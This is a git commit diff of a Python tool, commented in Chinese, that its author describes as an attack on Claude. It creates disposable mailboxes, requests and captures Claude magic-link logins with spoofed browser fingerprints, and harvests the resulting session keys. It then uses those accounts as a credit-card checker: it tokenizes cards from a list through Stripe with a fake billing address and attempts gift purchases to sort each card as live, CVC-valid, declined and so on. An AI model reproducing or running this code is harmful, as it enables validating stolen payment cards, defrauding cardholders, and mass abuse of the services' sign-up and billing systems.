feat: Implement Telegram bot with Claude authentication, mail service, and identity spoofing, refactoring core logic into new modules.

This commit is contained in:
2026-02-12 22:16:17 +08:00
parent 02d70ac3cd
commit ad7b6196dc
14 changed files with 1577 additions and 470 deletions

498
main.py
View File

@@ -1,492 +1,57 @@
import time
import uuid
import random
import string
import re
import json
import base64
import requests as standard_requests # 用于普通API交互
from curl_cffi import requests # 用于模拟指纹
from urllib.parse import urlparse, parse_qs
# --- 配置区域 (Configuration) ---
# cloudmail邮件系统配置
MAIL_API_BASE = "https://xxxxx.com/" # 替换为你的邮件API域名
ADMIN_EMAIL = "admin@xxxxx.com" # 替换你的管理员邮箱
ADMIN_PASS = "xxxxx" # 替换你的管理员密码
MAIL_DOMAIN = "xxxxx.com" # 你的临时邮箱域名
# Claude 配置
CLAUDE_URL = "https://claude.ai/api/auth/send_magic_link"
#
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
# Stripe Public Key
STRIPE_PK = "pk_live_51MExQ9BjIQrRQnuxA9s9ahUkfIUHPoc3NFNidarWIUhEpwuc1bdjSJU9medEpVjoP4kTUrV2G8QWdxi9GjRJMUri005KO5xdyD"
# Gift Product ID
PRODUCT_ID = "prod_TXU4hGh2EDxASl"
class ClaudeAccount:
def __init__(self, email, session_key, org_uuid, user_agent):
self.email = email
self.session_key = session_key
self.org_uuid = org_uuid
self.user_agent = user_agent
self.device_id = str(uuid.uuid4())
class MailSystem:
def __init__(self, base_url, admin_email, admin_password):
self.base_url = base_url
self.token = self._get_token(admin_email, admin_password)
self.headers = {"Authorization": self.token}
def _get_token(self, email, password):
"""获取身份令牌,这是我们的通行证"""
url = f"{self.base_url}/api/public/genToken"
payload = {"email": email, "password": password}
try:
resp = standard_requests.post(url, json=payload)
data = resp.json()
if data['code'] == 200:
print(f"[+] 令牌获取成功: {data['data']['token'][:10]}...")
return data['data']['token']
else:
raise Exception(f"获取Token失败: {data}")
except Exception as e:
print(f"[-] 连接邮件系统失败: {e}")
exit(1)
def create_user(self, email_prefix):
"""在你的系统里注册一个新灵魂"""
full_email = f"{email_prefix}@{MAIL_DOMAIN}"
url = f"{self.base_url}/api/public/addUser"
# 接口要求 list 结构
payload = {
"list": [
{
"email": full_email,
"password": "random_pass_ignoring_this"
}
]
}
resp = standard_requests.post(url, json=payload, headers=self.headers)
if resp.json().get('code') == 200:
print(f"[+] 邮箱用户创建成功: {full_email}")
return full_email
else:
print(f"[-] 创建邮箱失败: {resp.text}")
return None
def wait_for_email(self, to_email, retry_count=20, sleep_time=3):
"""像猎人一样耐心等待猎物出现"""
url = f"{self.base_url}/api/public/emailList"
payload = {
"toEmail": to_email,
"sendName": "Anthropic", # 发件人是 Anthropic 不是 Claude
"num": 1,
"size": 10,
"timeSort": "desc"
}
print(f"[*] 开始轮询邮件,目标: {to_email}...")
for i in range(retry_count):
try:
resp = standard_requests.post(url, json=payload, headers=self.headers)
data = resp.json()
if data.get('code') == 200 and data.get('data'):
emails = data['data']
# 检查是否有来自 Claude 的邮件
for email in emails:
# 这里可以加更严格的判断,比如 subject 包含 "sign in"
print(f"[!] 捕获到邮件! 主题: {email.get('subject')}")
return email.get('content') or email.get('text')
print(f"[*] 轮询中 ({i+1}/{retry_count})...")
time.sleep(sleep_time)
except Exception as e:
print(f"[-] 轮询出错: {e}")
time.sleep(sleep_time)
print("[-] 等待超时,未收到邮件。")
return None
def extract_magic_link(html_content):
"""HTML提取出链接"""
if not html_content:
return None
pattern = r'href="(https://claude\.ai/[^"]+)"'
match = re.search(pattern, html_content)
if match:
url = match.group(1)
return url.replace("&", "&")
return None
class StripeTokenizer:
def __init__(self, user_agent):
self.user_agent = user_agent
self.guid = f"{uuid.uuid4()}0a75cf"
self.muid = f"{uuid.uuid4()}1d4c1f"
self.sid = f"{uuid.uuid4()}eb67c4"
self.client_session_id = str(uuid.uuid4())
self.elements_session_config_id = str(uuid.uuid4())
def get_token(self, cc_num, exp_m, exp_y, cvc):
"""与 Stripe 交互获取 pm_id"""
url = "https://api.stripe.com/v1/payment_methods"
headers = {
"Host": "api.stripe.com",
"Content-Type": "application/x-www-form-urlencoded",
"Sec-Ch-Ua-Platform": '"Linux"',
"User-Agent": self.user_agent,
"Accept": "application/json",
"Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
"Sec-Ch-Ua-Mobile": "?0",
"Origin": "https://js.stripe.com",
"Sec-Fetch-Site": "same-site",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Referer": "https://js.stripe.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Priority": "u=1, i"
}
# 构造完整的 form-data
time_on_page = random.randint(30000, 500000)
data = {
"type": "card",
"card[number]": cc_num,
"card[cvc]": cvc,
"card[exp_year]": exp_y[-2:] if len(exp_y) == 4 else exp_y,
"card[exp_month]": exp_m,
"allow_redisplay": "unspecified",
"billing_details[address][postal_code]": "91505",
"billing_details[address][country]": "US",
"billing_details[address][line1]": "3891 Libby Street",
"billing_details[address][city]": "Burbank",
"billing_details[address][state]": "CA",
"billing_details[name]": "Test User",
"billing_details[phone]": "",
"payment_user_agent": "stripe.js/5766238eed; stripe-js-v3/5766238eed; payment-element; deferred-intent; autopm",
"referrer": "https://claude.ai",
"time_on_page": str(time_on_page),
"client_attribution_metadata[client_session_id]": self.client_session_id,
"client_attribution_metadata[merchant_integration_source]": "elements",
"client_attribution_metadata[merchant_integration_subtype]": "payment-element",
"client_attribution_metadata[merchant_integration_version]": "2021",
"client_attribution_metadata[payment_intent_creation_flow]": "deferred",
"client_attribution_metadata[payment_method_selection_flow]": "automatic",
"client_attribution_metadata[elements_session_config_id]": self.elements_session_config_id,
"client_attribution_metadata[merchant_integration_additional_elements][0]": "payment",
"client_attribution_metadata[merchant_integration_additional_elements][1]": "address",
"guid": self.guid,
"muid": self.muid,
"sid": self.sid,
"key": STRIPE_PK,
"_stripe_version": "2025-03-31.basil"
}
try:
print(f"[*] 正在向 Stripe 请求 Token: {cc_num[:4]}******{cc_num[-4:]}")
resp = requests.post(url, data=data, headers=headers, impersonate="chrome124")
if resp.status_code == 200:
pm_id = resp.json().get("id")
print(f"[+] Stripe Token 获取成功: {pm_id}")
return pm_id
else:
print(f"[-] Stripe 拒绝: {resp.text}")
return None
except Exception as e:
print(f"[-] Stripe 连接错误: {e}")
return None
class GiftChecker:
def __init__(self, account: ClaudeAccount):
self.account = account
def purchase(self, pm_id):
"""尝试购买 Gift"""
url = f"https://claude.ai/api/billing/{self.account.org_uuid}/gift/purchase"
headers = {
"Host": "claude.ai",
"User-Agent": self.account.user_agent,
"Content-Type": "application/json",
"Accept": "*/*",
"Anthropic-Client-Version": "1.0.0",
"Anthropic-Client-Platform": "web_claude_ai",
"Anthropic-Device-Id": self.account.device_id,
"Origin": "https://claude.ai",
"Referer": "https://claude.ai/gift",
"Cookie": f"sessionKey={self.account.session_key}"
}
payload = {
"product_id": PRODUCT_ID,
"currency": "USD",
"payment_method_id": pm_id,
"to_email": self.account.email,
"to_name": "",
"from_name": "Checker",
"from_email": self.account.email,
"gift_message": "",
"card_color": "clay",
"billing_address": {
"line1": "3891 Libby Street",
"city": "Burbank",
"state": "CA",
"postal_code": "91505",
"country": "US"
},
"scheduled_delivery_at": None
}
try:
print(f"[*] 正在尝试扣款 (Gift Purchase)...")
resp = requests.post(url, json=payload, headers=headers, impersonate="chrome124")
resp_json = {}
try:
resp_json = resp.json()
except:
pass
if resp.status_code == 200:
print("[$$$] 成功! CHARGED! 该卡有效 (Live)!")
return "LIVE"
elif resp.status_code == 402:
err_msg = resp_json.get("error", {}).get("message", "Unknown error")
print(f"[-] 支付失败 (402): {err_msg}")
if "declined" in err_msg.lower():
return "DECLINED"
elif "insufficient" in err_msg.lower():
return "INSUFFICIENT_FUNDS"
elif "security code" in err_msg.lower() or "cvc" in err_msg.lower():
print("[!] CCN LIVE (CVC 错误,说明卡号有效)")
return "CCN_LIVE"
else:
return "DEAD"
else:
print(f"[-] 未知响应 Code: {resp.status_code}, Body: {resp.text}")
return "ERROR"
except Exception as e:
print(f"[-] 购买请求异常: {e}")
return "ERROR"
def attack_claude(target_email):
"""伪装成浏览器发起攻击"""
device_id = str(uuid.uuid4())
headers = {
"Host": "claude.ai",
"Anthropic-Anonymous-Id": f"claudeai.v1.{uuid.uuid4()}",
"Sec-Ch-Ua-Full-Version-List": '"Google Chrome";v="143.0.7499.105", "Chromium";v="143.0.7499.105", "Not A(Brand";v="24.0.0.0"',
"Sec-Ch-Ua-Platform": '"Linux"',
"Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
"Baggage": "sentry-environment=production,sentry-release=ce5600af514463a166f4cd356a6afbc46ee5cd3d,sentry-public_key=58e9b9d0fc244061a1b54fe288b0e483,sentry-trace_id=7bdc872994f347d6b5a610a520f40401,sentry-org_id=1158394",
"Anthropic-Client-Sha": "ce5600af514463a166f4cd356a6afbc46ee5cd3d",
"Content-Type": "application/json",
"Anthropic-Client-Platform": "web_claude_ai",
"Anthropic-Device-Id": device_id,
"Anthropic-Client-Version": "1.0.0",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"Origin": "https://claude.ai",
"Referer": "https://claude.ai/login?returnTo=%2Fonboarding",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Priority": "u=1, i"
}
payload = {
"utc_offset": -480,
"email_address": target_email,
"login_intent": None,
"locale": "en-US",
"oauth_client_id": None,
"source": "claude"
}
try:
print(f"[*] 正在向 Claude 发送 Magic Link 请求: {target_email}")
session = requests.Session()
response = session.post(
CLAUDE_URL,
json=payload,
headers=headers,
impersonate="chrome124"
)
if response.status_code == 200:
print("[+] 请求成功Claude 已发信。")
return True
elif response.status_code == 429:
print("[-] 被限流了 (Rate Limited)。")
else:
print(f"[-] 请求失败 Code: {response.status_code}, Body: {response.text}")
except Exception as e:
print(f"[-] 发生异常: {e}")
return False
def finalize_login(magic_link_fragment):
"""
完成最后一步:无需浏览器,直接交换 sessionKey。
magic_link_fragment 格式: https://claude.ai/magic-link#token:base64_email
返回 ClaudeAccount 对象
"""
# 1. 外科手术式拆解 Hash
if '#' in magic_link_fragment:
fragment = magic_link_fragment.split('#')[1]
else:
fragment = magic_link_fragment
if ':' not in fragment:
print("[-] 链接格式错误: 找不到 token 和 email 的分隔符")
return None
# 分割 nonce 和 base64_email
nonce, encoded_email = fragment.split(':', 1)
try:
decoded_email = base64.b64decode(encoded_email).decode('utf-8')
print(f"[*] 解析成功 -> Email: {decoded_email} | Nonce: {nonce[:8]}...")
except:
print(f"[*] 解析成功 -> Nonce: {nonce[:8]}...")
# 2. 构造最终 payload
verify_url = "https://claude.ai/api/auth/verify_magic_link"
payload = {
"credentials": {
"method": "nonce",
"nonce": nonce,
"encoded_email_address": encoded_email
},
"locale": "en-US",
"oauth_client_id": None,
"source": "claude"
}
# 3. 伪造指纹头
device_id = str(uuid.uuid4())
headers = {
"Host": "claude.ai",
"Content-Type": "application/json",
"Origin": "https://claude.ai",
"Referer": "https://claude.ai/magic-link",
"User-Agent": UA,
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.9",
"Anthropic-Client-Version": "1.0.0",
"Anthropic-Client-Platform": "web_claude_ai",
"Anthropic-Device-Id": device_id,
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Priority": "u=1, i"
}
try:
print(f"[*] 正在交换 SessionKey...")
session = requests.Session()
response = session.post(
verify_url,
json=payload,
headers=headers,
impersonate="chrome124"
)
if response.status_code == 200:
data = response.json()
# 1. 提取 SessionKey
session_key = response.cookies.get("sessionKey")
if not session_key:
for name, value in response.cookies.items():
if name == "sessionKey":
session_key = value
break
if not session_key:
print("[-] 请求成功 (200),但未在 Cookie 中找到 sessionKey。")
print(f"Response: {str(data)[:200]}...")
return None
# 2. 提取 Org UUID
try:
org_uuid = data['account']['memberships'][0]['organization']['uuid']
email = data['account']['email_address']
print(f"[+] 登录成功。OrgID: {org_uuid}")
return ClaudeAccount(email, session_key, org_uuid, UA)
except KeyError as e:
print(f"[-] 无法提取 Organization UUID结构可能变了: {e}")
print(f"Response keys: {data.keys() if isinstance(data, dict) else type(data)}")
return None
else:
print(f"[-] 交换失败 Code: {response.status_code}")
print(f"Body: {response.text}")
return None
except Exception as e:
print(f"[-] 发生异常: {e}")
return None
from config import MAIL_SYSTEMS
from mail_service import MailPool, extract_magic_link
from stripe_token import StripeTokenizer
from gift_checker import GiftChecker
from claude_auth import attack_claude, finalize_login
# --- 主流程 (The Ritual) ---
if __name__ == "__main__":
# 1. 初始化邮系统
mail_sys = MailSystem(MAIL_API_BASE, ADMIN_EMAIL, ADMIN_PASS)
# 1. 初始化邮系统
mail_pool = MailPool(MAIL_SYSTEMS)
if mail_pool.count == 0:
print("[-] 没有可用的邮箱系统,退出。")
exit(1)
print(mail_pool.info())
# 2. 生成随机邮箱并注册
# 生成 10 位随机字符作为邮箱前缀
random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
target_email = mail_sys.create_user(random_prefix)
if target_email:
target_email, mail_sys = mail_pool.create_user(random_prefix)
if target_email and mail_sys:
# 3. 发送 Magic Link
if attack_claude(target_email):
# 4. 等待并提取链接
# 4. 等待并提取链接(使用创建邮箱时对应的系统)
email_content = mail_sys.wait_for_email(target_email)
if email_content:
magic_link = extract_magic_link(email_content)
if magic_link:
print(f"[+] 捕获 Magic Link: {magic_link}")
# --- 终极步骤:登录获取 Account ---
account = finalize_login(magic_link)
if account:
print("\n" + "="*50)
print(f"[+] REGISTERED SUCCESSFUL")
print(f"Email: {account.email}")
print(f"SessionKey: {account.session_key}")
print(f"OrgUUID: {account.org_uuid}")
with open("accounts.txt", "a") as f:
f.write(f"{account.email}|{account.session_key}|{account.org_uuid}\n")
print("="*50 + "\n")
# --- CC Checker 流程 ---
# 从 cards.txt 读取卡片列表 (格式: CARD|MM|YY|CVC)
cards = []
try:
with open("cards.txt", "r") as f:
@@ -497,25 +62,18 @@ if __name__ == "__main__":
print(f"[*] 从 cards.txt 读取到 {len(cards)} 张卡片")
except FileNotFoundError:
print("[*] 未找到 cards.txt跳过 CC Checker")
if cards:
tokenizer = StripeTokenizer(account.user_agent)
checker = GiftChecker(account)
for card_line in cards:
cc, mm, yy, cvc = card_line.split("|")
# 1. 获取 Stripe Token
pm_id = tokenizer.get_token(cc, mm, yy, cvc)
if pm_id:
# 2. 尝试购买
result = checker.purchase(pm_id)
# 3. 输出结果
print(f"Card: {cc[:4]}... -> {result}")
# 不要跑太快,防止封 Session
time.sleep(2)
else:
print("[-] 获取 Account 失败。")